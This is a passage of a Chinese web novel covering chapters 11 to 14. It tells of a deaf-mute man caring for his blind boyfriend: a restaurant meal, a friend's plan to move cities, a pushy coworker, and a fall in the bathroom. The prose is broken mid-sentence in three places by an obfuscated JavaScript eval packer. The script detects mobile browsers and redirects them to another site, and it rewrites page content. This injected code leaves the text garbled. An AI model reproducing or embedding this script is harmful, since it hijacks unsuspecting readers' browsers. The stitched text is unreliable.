易秋光也会露出笑容,向他伸出手。 然后,乔辽会捏捏易秋光的手,再点点他的嘴角,意思是问他,要不要去吃饭? 刚开始,易秋光总是理解错误,顺势就凑上去亲了一下乔辽。 乔辽先是一愣,然后就牵着他去吃饭,坐下后,再点点他的嘴角。 易秋光现在就明白了,但下次,他还是会去亲一下。 乔辽挺乐意的,亲就亲吧,正好他也喜欢。 他突然想到,自己和易秋光分开的那年。 那一年的他们,已经二十六岁了。 洪城的天气一直都很糟糕,汛期比以往来得早,走得也晚,那阵子,乔辽常常会打着伞去接易秋光下班。 等待的时候,他会盯着地面的积水看,然后抬起手看着水里面倒映出的手链,铃铛晃啊晃的,再过一会儿,他就能看见倒影里出现了易秋光的身影。 乔辽打着伞快步走上去,接着朝他抬手晃晃,听见铃铛声的易秋光朝他伸出手,乔辽带着他的手缓缓上移,用食指轻点一下他的嘴角。 易秋光笑了起来。 他先是凑上去亲了乔辽一下,然后对着他的方向点了点头。 11. 一样 乔辽准备在今天,带着易秋光去吃点好的。 不是那种有着油腻桌面的快餐,也不是那种遇见城管还会跑的路边摊炒面或是炕饼。 而是那种有着明亮灯光,桌面干净的可以把胳膊直接放上去,坐在那里不会闻到任何异味的餐厅。 乔辽是做过功课的。 这家餐厅开在他们出租屋附近,但最近开业的新店并不是只有这一家。 郭宝卓对吃这方面比较感兴趣,他朋友多,想要叫个人出去吃饭是件很简单的事。 这人每次第一个喊的永远都是乔辽,但乔辽舍不得花钱,也不想让郭宝卓一直花钱。 于是,这人只好叫了其他朋友,把那些店都吃了一遍。 吃完之后还总爱在乔辽面前叨叨,那双手比画的速度,也是快得不行。 郭宝卓说:他们都是酒肉朋友,只有你才是真的愿意和我一起吃饭,下次你带上易秋光,我们一起去吃,有一家店的味道很好,你俩肯定喜欢。 听见这话,乔辽干脆就顺着问了下去。 他比画道:有什么菜? 郭宝卓想了想,然后比画出几个菜名,接着就问道:怎么样,是不是你俩会喜欢的。 的确是这样,但更喜欢这些菜的人,应该是易秋光。 乔辽其实没什么喜欢的,也没什么不喜欢的,他的口味都是跟着易秋光变化的,这人吃什么,他就跟着一起吃什么,要是这人不吃,他就只会敷衍一下自己,喝两口水就当填饱肚子了。 乔辽当时就想着,他正好再过几天就要发工资了,这段时间也没带着易秋光去吃什么好的,这人看着都好像有些缺油水,也是时候开点大荤了。 牵着易秋光去往餐厅的路上,乔辽的心情都好到不行,他一想到这人等会儿吃饭的样子,心底就跟快融化了似的。 吃饭时的易秋光挺老实的,吃什么都慢慢地,乔辽会把菜夹到他碗里,这人一手扶着碗,一手拿着筷子慢慢夹。 夹到什么东西的时候,他会先靠近鼻子闻一闻,然后再喂进嘴里,要是这个东西不好吃,易秋光就会皱起眉头。 要是吃到好吃的,易秋光就会笑起来,并在下一次夹到那道菜的时候,把筷子递到乔辽眼前,朝他比出一个大拇指。 意思是:很好吃,再来一点。 这种时候的易秋光,乔辽光是看一眼就觉得高兴。 但是,去往餐厅的路有些难走,特别是在雨后。 易秋光也感觉出了不对劲,因为这路,他们不常走。 这人晃了晃他们牵着的手,带着乔辽停下来,并在乔辽手掌心里画了个问号。 意思大概是:我们要去哪里? 乔辽点了点他的嘴角,又快速轻点几下。 也不知道易秋光能不能理解。 乔辽想说:带你去吃饭,是很好吃很好吃的饭菜。 易秋光估计是没明白,他歪着脑袋,皱了皱眉,乔辽抬手揉了揉他的脑袋,带着这人继续往前走。 在他们走到餐厅门口的时候,易秋光还没觉得有什么,当门口的迎宾员开口后,这人瞬间紧了紧握住的手。 乔辽当然知道易秋光为什么会这样。 他们之前去吃饭的地方哪会有这待遇,进去后还得自己找座位,根本就不会有人把你往座位上带。 以前吃的那些饭,简直就是全开放式后厨,站在那里等的时候,风还会把油锅的温度拂到脸上,头发也会沾染上油烟味。 这次不会了,这次,他们会坐在明亮的地方,好好地吃上一顿饭。 给易秋光花钱,乔辽从不会犹豫。 他们挨在一起,坐在靠近收银台的位置,服务员拿来菜单和笔,乔辽接过,看了一眼。 挺庆幸的,还好他今天是吃了饭来的。 他用笔在菜单上勾出易秋光喜欢吃的菜,然后再点上一碗饭,最后还选了一杯果汁。 乔辽捏了捏易秋光的手,又在他坐着的椅子上轻拍两下,意思是:你在这里等我一会儿。 看见易秋光点头后,乔辽拿着菜单去收银台先付了钱,免得吃完饭后又和易秋光争着出钱,这人也挺不讲道理的,抢不过就要用盲杖打。 乔辽懒得和他折腾,还是先把钱出了比较踏实。 等他坐回去的时候,易秋光马上就看向他方向,露出一个笑。 紧接着,易秋光伸出手,摸索着握住了乔辽的手。 他轻轻地捏着乔辽每一根手指,关节部位也会被捏上两下。 乔辽总觉得,易秋光今天有些不对劲,似乎比往常更需要触碰。 小的时候易秋光就是这样,这人一害怕就会握着乔辽的手,捏得紧紧的,整个人也都和他贴在一起。 大概,看不见的人,就是会很渴望那种能够被稳稳握住的安全感。 乔辽动了动手,在他手心画出一个问号,意思是:你怎么了吗? 为什么会这样,是因为心情不好吗,还是工作上遇到了什么问题。 他想问得太多,但他没办法表达出来,易秋光大概也是如此,他摇了摇头,又冲乔辽笑着。 他和易秋光之间,会有无数个这样的时刻,每当这种时候,乔辽就会觉得,易秋光也变得和他一样。 不能说,也不能听。 又过了一会儿,菜上了桌,全是荤菜,易秋光仔细听着声音,最后他比出一个“四”,意思是:一共四道菜吗? 乔辽在他大腿上用指尖画出一个勾,易秋光伸出两根手指,在嘴边做出“吃”的动作,意思是:现在吃? 这人的大腿上再次被画出一个钩,乔辽拿起筷子往易秋光碗里夹菜,一只小碗里被堆满了菜,终于,米饭也被端了上来。 这米饭盛得很好看,上面还撒了一些黑芝麻,米粒白白的,不是黏在一起成坨的那种。 一看就很好吃,易秋光肯定会喜欢。 他看着易秋光慢慢夹起菜往嘴里喂,脸上也勾起了笑容,乔辽也拿起一双筷子,时不时地轻碰一下菜盘,发出一点声响,但这个声音到底有多大,乔辽并不知道。 他这样做,只是想让易秋光以为,他在吃。 乔辽今天下班本来就早,想着晚上要带易秋光去吃顿好的,就提前把自己的晚饭给解决了。 他的晚饭,是沙县小吃,一份十块钱的豆干饭。 一块豆干加两片青菜,还有一筷子看着就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140545|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么味道的豆芽,那个时候还没到正吃饭的点,老板冲着他笑眯眯的,指了指锅里的豆干,又夹上一个,放进乔辽面前的盘子里。 现在盘里有两块豆干了,老板还用勺子舀了一大勺汤汁淋在上面,乔辽连忙抬手摆了摆,意思是:弄错了,我只要一块豆干。 老板当时冲他笑了笑,重复着一个字,因为口型看着是一样的。 乔辽盯着男人的嘴一直看,还是不太明白,最后老板没了办法,找出纸笔,快速写下:送的,送给你吃。 乔辽冲老板笑笑,指了指那支笔,拿起笔后,他在纸上写下:谢谢。 浇上汤汁的米饭挺好吃的,这次还多了一块豆干,乔辽可以一口菜一口饭,慢慢吃。 这家店他来过好几次,有时候是图个方便,还有时候是中午休息时间太赶。 他每次过来,都是吃的豆干饭。 这种套餐都是饭多菜少,他常常会吃完菜了还有剩下的饭,所以每次,他都会先往嘴里喂一大口饭,然后再加一点点菜。 其实这样吃也不好,每次都会出现饭没了,但菜还有的情况。 今天就很好,乔辽吃得也挺满足的,其实,易秋光一个人吃不完四道菜,最后肯定还是得打包,但乔辽想着,少他一张嘴,就能让易秋光多吃一些,等易秋光吃饱了,吃好了,他隔天再尝尝味道就好。 最好的和最新鲜的,应该都是给易秋光的。 乔辽就这么坐在那儿,看着易秋光吃完那一碗饭,菜也吃了不少,他满足地放下筷子,接过乔辽手里的餐巾纸擦了擦嘴。 这人比出个大拇指,然后指了指桌上的菜,乔辽明白的,易秋光是在夸这些菜好吃,就算他不说,乔辽也能看得出来。 笑容不会骗人的,易秋光的笑,真的是太好看了。 乔辽想着,以后还要带他去吃更多好吃的,去环境更好的地方,他要把易秋光养得很好很好。 这顿饭,易秋光只出了两个打包盒的钱,乔辽提着打包好的菜,带着易秋光一起去找郭宝卓。 他们出租屋里没有冰箱,现在温度又高,把菜就这么搁在外面肯定会坏。 郭宝卓和他们住得近,出租屋里也有个小冰箱,正好能帮忙放一下。 快要走到郭宝卓出租屋的时候,他们在拐角处的水果摊碰见这人。 郭宝卓面前放着西瓜,他正偏着脑袋微弯着身子,用手在瓜上轻轻拍了拍,经过精心挑选,终于有幸运西瓜被选中。 这人抱起瓜直起身子,转眼就看见乔辽和易秋光,抱着瓜也不方便打手语,郭宝卓冲着乔辽笑了笑,就对着易秋光说了什么。 乔辽看见易秋光开了口,然后点了点头,说什么呢,他也不会读唇,只能站在那里露出一个笑。 当郭宝卓出完钱,提上西瓜的时候,乔辽终于和这个世界再次产生链接。 郭宝卓抬手冲他比画:怎么突然来找我了? 乔辽一手牵着易秋光,另一只手打着伞提着菜。 他晃了晃手里提着的菜,这样就足够了,郭宝卓肯定能懂。 果然,郭宝卓点点头,比画道:那走吧,正好去我那里吃点西瓜,我也有点事情要和你们说。 12. 同事 郭宝卓住的是合租屋,就连屋里的客厅都被改成了卧室,刚进门的地方堆了好多鞋子,乔辽把打包的菜给了郭宝卓,先带着易秋光慢慢往房间走。 西瓜和菜被郭宝卓放进那个公用的小冰箱里,他又从冰箱里拿了三罐可乐,两罐拿在手上,另一罐用胳膊夹着。 郭宝卓就这么走进房间里,抬腿一脚关上门,这个房间小得离谱,一张靠墙放的单人床,对面放着一张桌子和一把木椅,由于没有地方放衣服,这把椅子早就成了可移动衣柜,一件件衣服被叠得整整齐齐,放在椅子上,堆得还挺高。 乔辽肯定不能带着易秋光坐在桌上,再说了,桌子上也放满了东西,但摆放依旧整齐。 他们只能坐在床边,郭宝卓进来后,干脆就坐在了床头柜上。 这人把手里的冰可乐递给了乔辽和易秋光,用胳膊夹着的那罐被他拿到了手里,看样子是正准备打开拉环,但下一秒,他突然停下动作,把易秋光手里的可乐拿走,用几张卫生纸垫着底部,放到了桌上。 手里瞬间变得空了,易秋光的表情显得有点不明白状况。 郭宝卓指了指易秋光,接着就朝乔辽比画:你男朋友感冒了? 感冒了?什么时候的事? 乔辽偏头去看易秋光,看了好一会儿也没看出什么。 郭宝卓抬手在乔辽眼前晃晃,让他的注意力暂时转移一下,当乔辽看过去时,这人比画道:他有点鼻塞,多注意吧,这段时间天气不太好。 看见郭宝卓这么比画,乔辽连忙放下手里的可乐,搓了搓双手,确保热起来之后,再去摸易秋光的脸。 脸上有些凉,额头是温热,应该没什么事,紧接着,乔辽又碰了碰易秋光的喉结,在他大腿上画了个问号。 意思是:你喉咙还好吗? 易秋光摆了摆手,接着就开口说了什么,乔辽抬眼去看郭宝卓,等着这人帮忙翻译一下。 郭宝卓比画着:他说,喉咙不疼,就是有点堵鼻子,别的什么事都没有。 这句话翻译完,易秋光又说了句什么,郭宝卓继续比画道:他说,他们那里来了个新同事,对工作不是很熟悉,他最近下班会稍微晚点,大概比平时晚半个小时。 乔辽点头,表示他知道了。 他让郭宝卓帮自己转达,就算下班晚点也没事,他还是会在之前那个地方等着。 毕竟早晚是说不准的事,但他不想迟到。 易秋光在听到郭宝卓的翻译后,勾唇笑了起来,这个笑有些勉强,他似乎是想再说什么,但最终还是选择了沉默。 在乔辽心里,易秋光的话一直都不多,在其他人面前也是说几句就不再说话。 乔辽有时候还挺好奇的,也不知道易秋光这人在工作的时候会是什么样。 他说他的工作是客服,那应该会带着笑意去说话吧,那样会显得比较亲切,又或者是客客气气的,显得专业。 不知道了,猜不出来。 乔辽认为,他这一辈子也就这样了,想要听见易秋光的声音,是要花钱的,但是,想要和易秋光一起生活下去,也是要钱的。 生活和声音,他这一辈子,只能选择一样。 那罐被拿走的冰可乐放在桌上没一会儿就开始冒水珠,那些水珠从上往下滑落,彻底打湿了底部的那些纸巾。 乔辽和郭宝卓有一句没一句地聊着,易秋光偶尔会开口说两句,但他整个人的情绪似乎都不太好。 在那罐可乐快要变成常温的时候,乔辽拉开拉环,把可乐递给易秋光,他先是递到鼻子边上闻了闻,接着喝上一小口。 这一口下去,易秋光皱起眉毛,开口说着什么。 郭宝卓认真听完,接着就对乔辽比画:他说,感冒了闻不到味道,也尝不出来,只觉得有汽。 看见郭宝卓这么说,乔辽心里一下子就有些难过。 他想着,易秋光刚才那顿饭,真的吃得好吗? 乔辽深吸口气,点了点头,对郭宝卓比画:那你给他说,我等会儿带他去买点感冒药。 郭宝卓把这句话转达给易秋光,之后就开始沉默,也不知道过了多久,这人终于抬起手。 他对着乔辽比画:我不想在洪城了。 那要去哪里?乔辽问他。 郭宝卓比画:江城,离这里不算远。 也不知道该说些什么,这种能决定人生的选择,乔辽不好询问,他只能点头,然后比画:什么时候去? 郭宝卓比画道:就这段时间。 再然后,他们都不说话了,乔辽知道郭宝卓在想什么,这人肯定觉得,要是他离开,那一个听不见说不了的人肯定没办法和一个看不见的人沟通。 郭宝卓这人吧,就是那种看着心大,实际心思还挺细的类型,但是,没有能憋住的屁,这人在切西瓜的时候,终于还是没忍住说了。 他先是给乔辽比画:你和易秋光一起来,我们都去江城。 乔辽都还没回应,这人又看向易秋光开了口,他和易秋光说了好一会儿,郭宝卓也对着乔辽翻译了好久。 大概意思就是,易秋光觉得可以,就是找工作可能有些麻烦,需要郭宝卓去残联帮忙问一下,而且他们的房租要等到十二月才能退,不然要扣一笔押金,钱不算少,还是拿到手最好。 最后,易秋光说,他听乔辽的。 乔辽沉默一会儿,让郭宝卓转达:我也都可以,如果他喜欢江城,那我们就去。 切好的西瓜被放进盘子里,乔辽拿起一块不太冰的,递给易秋光,他拿了两张纸巾在手里,易秋光咬一口,他就连忙给这人擦擦嘴。 在那块西瓜吃完的时候,易秋光开口对郭宝卓说了什么。 紧接着,郭宝卓对乔辽比画道:易秋光说,那就去。 他们离开的时候,外面的天都黑了,雨还在不停地下着,乔辽打着雨伞,牵着易秋光的手,躲着那些积水,慢慢地往出租屋走。 洪城对他们三个人来说,是从小长大的地方,福利院是家,那些老师就是长辈,和他们一样的人就是兄弟姐妹。 这个城市是最熟悉的,但外面的世界也确实吸引人,二十几岁的年纪,怎么可能不想出去看看。 反正他只有易秋光这个爱人,还有郭宝卓那个朋友。 除此之外,他什么都没有。 既然他们都去,那乔辽更没什么好怕的。 在第二天晚上下班的时候,乔辽去找郭宝卓拿菜,他提着打包的菜正准备走,郭宝卓突然拿来一个东西递给他。 郭宝卓说,这是录音笔,里面录了好几个声音,有询问的,比如“你还好吗”,或者是“你怎么了”,还有的是用来道歉的,比如“对不起”,或是“不要生气了”。 每一条录音内容都被郭宝卓点开过,他让乔辽按照录音时间和录音时长去记住这些内容,能用上的时候就用。 郭宝卓对他比画着:我买了票,下周就要走了,还挺不放心你和易秋光的,你们沟通不方便,说不明白又要打架,下次先别打,你先把录音给他听,不管是什么事,先问清楚。 录音笔被乔辽放进口袋,他伸出大拇指弯动两下,对郭宝卓表示感谢。 乔辽先是回了一趟出租屋,把录音笔和打包的菜放好后,就去了易秋光工作的地方。 那天晚上,洪城依旧在下雨,易秋光也确实加班了,但比半个小时要长。 乔辽打着伞,站在易秋光公司楼下等,但他等到的,却是易秋光和另一个男的。 他不认识这人。 普通男性,长得也就那样,但这人给乔辽的第一印象就不好。 因为这男的撑开了伞,一直在和易秋光说着什么,看样子是想让易秋光和他一起走。 乔辽也不想站在原地等了,因为这男的简直有病。 易秋光都摇头了,摆明是拒绝,但这男的不仅不走,还笑着伸出手,拽住了易秋光的盲杖。 下一秒,这男的和乔辽对上视线,脸上的笑意也变得更盛。 再有两步,乔辽就要走到他们面前。 他现在应该看着挺愤怒的,脚下步子迈得重,走出去的每一步也不管是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140546|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踩到了哪里,溅起的水甚至都打湿了乔辽的裤脚。 大概,他的脚步声也挺响的。 因为那个男的放开了盲杖,但这人脸上的笑意依旧,看着更像是一种挑衅。 易秋光紧了紧手中的盲杖,往边上挪了些。 乔辽知道的,易秋光能听见他腕上那条铃铛手链的声音,这是只属于他们的,确认彼此的方式。 手腕上的铃铛还在跟随他的步伐晃动,易秋光朝他伸出了手,这只手伸进了雨中,瞬间被雨水打湿,乔辽迅速倾斜着伞,握住易秋光的手,把这人带到伞下。 男人再次和乔辽对上视线,这人开口说了什么,然后就是易秋光开口说着什么。 下一秒,那个男人拿出手机,在屏幕上戳戳点点后,将屏幕递上前。 上面写着:我叫佟舟,是他的同事。 人的直觉是很准的,狗的直觉就更不用说了。 这人叫什么根本就不关乔辽的事,他只知道,易秋光应该离这个人远一点。 乔辽对着佟舟点了个头,这人做出一个“等等”的手势,又在屏幕上打出一句:别多心,秋光是个很好的人,他在工作上帮了我很多,现在雨大,我只是想送他回家。 神经病,乔辽不想再回应什么,就连点头微笑都不想。 他带着易秋光想要转身离开,但佟舟打着伞往前走了两步,停在乔辽面前。 佟舟这次没再用手机,他直接开了口,说着什么。 似乎,是一句不算长的话。 乔辽盯着佟舟的口型,一直看到这人闭上嘴,最后,这人冲他笑了笑。 故意的吧。 佟舟明明知道他听不见,不然刚才也不会用手机打字。 乔辽现在给回应了,他瞥了佟舟一眼,毫不犹豫地带着易秋光离开。 回去这一路上,乔辽心里都不是滋味。 这种情绪带着他越走越快,易秋光大概是感觉到了,他捏了捏乔辽的手,在掌心画出一个问号。 乔辽牵着他的手晃了晃,意思是:没事。 烦躁的情绪一直跟着乔辽,直到他们走回出租屋。 上楼梯的时候,他们是并排走着,易秋光牵着乔辽,另一只手则是用盲杖不停碰着台阶。 走到屋门口后,乔辽开了门。 易秋光在他前面进了屋,盲杖彻底代替了乔辽的存在。 他站在门口,甩了甩雨伞上的水,一抬眼就看见了易秋光的后背。 还是湿了大半的后背。 易秋光今天穿的是一件白色短袖,被雨水淋湿后,都能隐约看见他背部的线条,衣服被打湿成这样,易秋光愣是什么都没说。 就连拉着他停下的意思都没有。 易秋光被淋成这样,换作是以前,肯定当场就要扬起盲杖去打,但今天,他没有。 眼前人走到了桌边,大概是因为没有听见脚步声和铃铛声,易秋光转过了身,朝着他的方向歪了歪头,应该是在疑惑,为什么他半天都没有进来。 在易秋光转过身后,被雨水打湿的后背也从乔辽眼里消失。 愧疚感瞬间涌了出来。 原来,他被情绪支配的时候会变成这样。 跟不上的步伐,挡不住的雨。 落雨没有声音,他也不会听见易秋光说话的声音。 但这人也没有说出什么让乔辽停下的话。 因为在回来的那一路上,易秋光的嘴根本就没有动过。 就算动了又能怎么样? 乔辽看不懂唇语,说了也是白说。 可易秋光也没有带着乔辽的手,去碰他身上那件已经被打湿的衣服。 易秋光是对他失望了? 易秋光……是生气了吧,接下来是不是就要打人了。 眼前人还站在那里,背后的窗户还打开着,风吹进来肯定会让易秋光感觉到冷,但这人脸上没有任何表情。 这一刻,乔辽知道自己想错了。 没有失望,没有生气。 易秋光就连脾气都懒得发了。 13. 褶皱 为什么? 易秋光为什么选择沉默? 乔辽看了眼前人好一会儿,弯下身子把伞靠到门边放着,接着关上门。 他走到易秋光身边,把手里提着的打包盒放到桌上,易秋光偏头望向他的方向,伸手指向浴室,大概是要去洗澡。 乔辽犹豫一下,走到电磁炉边上,拿起锅铲敲了敲。 意思是:好,那我先做饭。 易秋光点了点头,往前走了两步,蹲下身子,从收纳箱里拿出一套衣服。 然后抱着衣服走进浴室,关上门。 乔辽盯着浴室门口看了会儿,深呼吸一口气后,转过身去煮饭。 他今天用不上锅铲,弄出那种动静只是为了和易秋光沟通,意思到位了就好。 今晚的饭菜是打包的菜,他把那些菜放进盘子,然后放进蒸屉,煮饭的时候正好可以一起加热。 做完这些,他就坐在床边等着易秋光出来。 可今天,易秋光似乎洗得有些慢。 乔辽想着,大概是因为他今天淋了雨,身上可能有些冷,虽然现在这个季节,温度并不低,但多冲会儿热水澡肯定是没错的。 于是,锅铲还是在今天派上了用场,乔辽打了一碗西红柿鸡蛋汤。 西红柿很小,也只剩下这一个了。 鸡蛋是从小筐里面拿的,乔辽放了两个鸡蛋,也是最后两个鸡蛋。 做完这碗汤,出租屋里也没有菜了。 他把这碗汤放到桌上,靠近窗边的位置,从窗外吹进的风还能帮忙吹凉些。 等易秋光洗完澡出来,汤也正好变得温热,可以端起来直接喝。 乔辽再次回到床边坐着,坐到电饭锅显示保温,易秋光还是没有从浴室出来。 他正要站起身去看看,还没等他迈出下一步,浴室门突然被打开。 先出现在乔辽眼里的是水汽,接着就是从一片水汽里走出来的易秋光,他怀里抱着换下来的衣服,头发全都湿着,脖子后的头发还在往下滴着水。 身上穿着的那件衣服也被打湿了一些,被打湿最多的,是背后衣领,再就是肩膀位置。 乔辽伸出手晃了晃,铃铛手链也跟着晃动,易秋光微偏着头,听见铃铛声后,伸出了手。 两只手相握,乔辽带着他走到床边坐下,把他怀里的衣服拿走,放到一边。 易秋光的头发太湿了,要是不早点吹干,怕是会感冒,乔辽拿来吹风机,插好插头。 吹风机开关被按下,易秋光也跟着微低下头。 乔辽偏着头慢慢搓着他的头发,感受着发丝上的水分被逐渐蒸发,吹风机缓缓吹到了额前的发,易秋光抬了抬头,风把湿发吹了起来,露出他紧皱的眉。 大概是吹风机热了些,乔辽把胳膊往后收了点,拿远些应该就不会这么烫了。 可头发吹干后,易秋光还是低着头。 他把双手放在膝盖上,有时还会做出轻压的动作,乔辽还以为,是吹头发花的时间太久,坐得他有些腿酸。 可易秋光没有站起来动一动,也没有换个姿势坐着。 而是一直用双手压着膝盖。 就算乔辽的反应再迟钝,在此刻也应该看得出来,易秋光的腿有些不舒服。 他把吹风机放回原位,走到易秋光身边蹲下,伸手点了点这人撑在膝盖上的双手,易秋光先是一愣,随后笑了起来。 这个笑容传递出来的情绪并不是高兴。 而是无奈。 乔辽抬手摸了摸他的脸,又拿开他放在膝盖上的手,然后慢慢卷起裤子。 居家服是宽松的,撩起来没有多困难,乔辽的手带着裤脚从脚踝处慢慢往上,经过小腿到达膝盖。 他第一眼看见的,就是破皮带着红的皮肤。 原来,易秋光今天洗澡洗得慢,是因为在浴室摔倒了。 易秋光的皮肤本来就白,夏天的时候也是整天穿着长裤,这人从小就这样,但不是怕晒黑才如此。 穿长裤,只是为了在摔倒的时候能少疼一些。 但在洗澡的时候,易秋光怎么可能还穿着长裤。 就在乔辽发现他受伤的这几秒里,破皮的地方缓缓渗出了血,视线上移,乔辽看见被卷起的裤子内侧也蹭上了血。 所以,易秋光撑着膝盖是因为疼,他完全可以卷起裤子,指给自己看,他还可以带着自己的手去碰。 但这人什么都没做。 如果乔辽没发觉异样,那这件事,就会像没发生过一样。 他伸手轻轻碰了碰受伤的地方,站起身去找碘伏和棉签,易秋光就这么安静地坐在那儿,静静地等着他。 那不然呢? 易秋光还能怎么办。 大喊大闹,喊着乔辽我好疼啊你能不能快一点。 没用的,他听不见。 或者,易秋光可以抱怨两句,怪他为什么没有在第一时间发现他摔倒的事。 也没用,乔辽没办法和他沟通,再愧疚也不知道该怎么做。 他想着,那还不如让易秋光打他一顿。 但这件事,要是发生在乔辽发现他受伤之前,那他们两个人肯定又会打一架,因为这顿打来得莫名其妙。 要是换成现在,那乔辽肯定不会还手。 因为这顿打,他确实该受。 乔辽拿着碘伏和棉签,单膝点地,跪在易秋光腿边。 打开碘伏盖子后,乔辽把棉签伸进去,再拿出来时,棉签碰上了易秋光破皮的膝盖。 渗出的血液被碘伏瞬间吞噬,易秋光也跟着一起皱起眉,估计是有些刺疼。 给易秋光的膝盖擦上药后,乔辽走到桌前打开电饭锅,闷了太久的热气一下子就扑向乔辽的脸,弄得他眼眶都开始发酸。 确实是挺想哭的,反正易秋光也看不见。 哭就哭吧,像这种事,乔辽也不是第一次干了。 他一边哭一边把碗里盛上饭和菜,又坐回床边慢慢给易秋光喂着。 易秋光刚开始还轻推了两下,意思是不用喂,但乔辽就是要喂,甚至把易秋光用来推他的那只手压到了屁股底下坐着。 一口饭菜被快速喂进易秋光嘴里,乔辽也挨了打。 这次,易秋光是用的手。 一个大巴掌,直接拍向乔辽的脑袋。 乔辽看了他一眼,老实地把碗和筷子递了过去,接着就站起身去端汤,易秋光吃几口饭菜,他就找准时机往这人嘴里喂一口汤。 这大概是易秋光吃得最急的一顿饭,乔辽坐在那里喂完手里那碗汤,又看着这人吃了大半碗后,才给自己盛了一碗饭菜。 乔辽端着碗坐回易秋光边上,一边看着身边人一边吃。 他吃得快,吃完的时候,易秋光刚把手里的那碗饭吃完。 这一碗饭菜挺多的,按道理说,易秋光应该是饱了,但乔辽还是抬起手,把筷子往里收了收,用小拇指点了点他的嘴角。 意思是:要不要再吃一点? 易秋光摇摇头,伸手在胃的位置碰了一下,意思是,已经饱了。 乔辽拿过他手里的碗筷,走到洗手池边去洗,外面的雨还在下着,今晚是不能出去散步了。 易秋光一回来就洗了澡,衣服都换好了,估计也没有出去散步的打算。 更何况,易秋光刚摔了一跤。 洗完碗筷后,乔辽也选择去洗澡,他没有买过居家服,睡觉就是穿的普通短袖短裤,但他喜欢给易秋光买。 还是买了一套又一套。 易秋光确实看不见,但他能看啊。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140547|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 自己男朋友,就是要随时随地都是养眼的。 想到这里,他又往床边看了眼,易秋光还是坐在那里,也不知道在想些什么。 乔辽移开视线,从收纳箱里随便找出一套衣服,进了浴室。 乔辽进去的第一件事,就是查看地面。 这间浴室本来就很小,花洒在右侧,左边是上厕所的地方,易秋光看不见,每次洗澡也只能靠墙站着,不敢挪动太大的步子。 地面上残留着一些没被冲散的液体,看颜色应该是洗发水。 易秋光估计就是被这个东西滑倒的。 沐浴用品都是靠墙放在地上的,用的时候需要弯腰。 地上的洗发水应该是被按出来之后,又从指缝中流了出去,易秋光看不见,也躲不开。 乔辽打开花洒,水流冲散地上那点洗发水,起了泡沫。 他想着,还是要买个置物架比较好,但浴室太小,他又担心易秋光一个偏头就会撞上去。 还是得多挣钱。 去江城后,一定要换个大点的出租屋,至少,浴室得大一些。 还得把地面铺上防滑垫,不能再让易秋光滑倒了。 从小时候到现在,对易秋光而言,他只能尽力避免摔倒磕碰。 这种事,做不到完全避开。 那些出现在易秋光身上的伤口,总是会愈合的,也幸亏他不是容易留疤的体质,愈合后也看不出来以前受过伤。 但那些伤口,乔辽永远都会记得。 花洒被关上,乔辽擦干身上的水,换好衣服,抬手搓了搓头发。 走出浴室后,他看见的就是躺在床上,背对着他的易秋光。 易秋光今天睡得这么早吗,睡了多久了,已经睡着了? 乔辽的手还放在头发上,他本来是想着,出来先吹头发的。 但要是易秋光睡着了,那就不吹了。 浴室门还敞开着,热气直往外窜,乔辽搬来一把椅子,把电风扇放到椅子上,调成中档风速,对着床吹。 乔辽坐到床边摸了摸易秋光的额头。 还好,这人还没有流汗。 做完这些,乔辽又去洗了衣服。 洗完他和易秋光的衣服,要不了多少时间,就是拧干衣服上的水需要时间。 夏天衣服薄,但乔辽必须拧到不再滴水才行。 雨天里,没有地方可以晾衣服,他只能把衣服晾在浴室里。 要是衣服滴下来的水,又弄摔了易秋光…… 乔辽简直不敢想。 他一次又一次拧干衣服,挂上衣架的时候,衣服上全是褶皱。 确实是难看了点,但只要能保证易秋光的安全,丑就丑了吧,就是委屈易秋光也得跟着他一起丑了。 忙完这些,乔辽终于能休息会儿了,易秋光依旧是躺在床上,背对着他,估计是真的睡着了。 现在这个点,乔辽也睡不着,他干脆关上灯,坐在桌前打开台灯,拿出写小说的本子慢慢写着。 那天夜里他写了两章,写到头发被窗外的风吹干,写到主角二人结束争吵,相拥入眠。 但他没有和易秋光相拥。 这一整晚,易秋光都没有动一下。 乔辽琢磨了一整夜,他想着,易秋光是不是太生气了,或者,是对他太失望了。 要是能听见就好了。 就算只能听见易秋光骂他也好。 乔辽这一夜都睡得不踏实,他在梦里看见了佟舟,这人一直对着他说话,乔辽烦得不行,冲上去就要打,离这人还差一步距离的时候,他突然睁开了眼。 梦醒了,佟舟还没打到。 乔辽深吸一口气,扭头往边上看——空的。 这一觉醒来,易秋光也不在他身边了。 14. 录音 乔辽连忙坐起身,走到桌边拿起手表看了眼,还好生物钟没乱,现在距离上班还有一段时间。 但今天,易秋光比他先起床,也没有叫醒他。 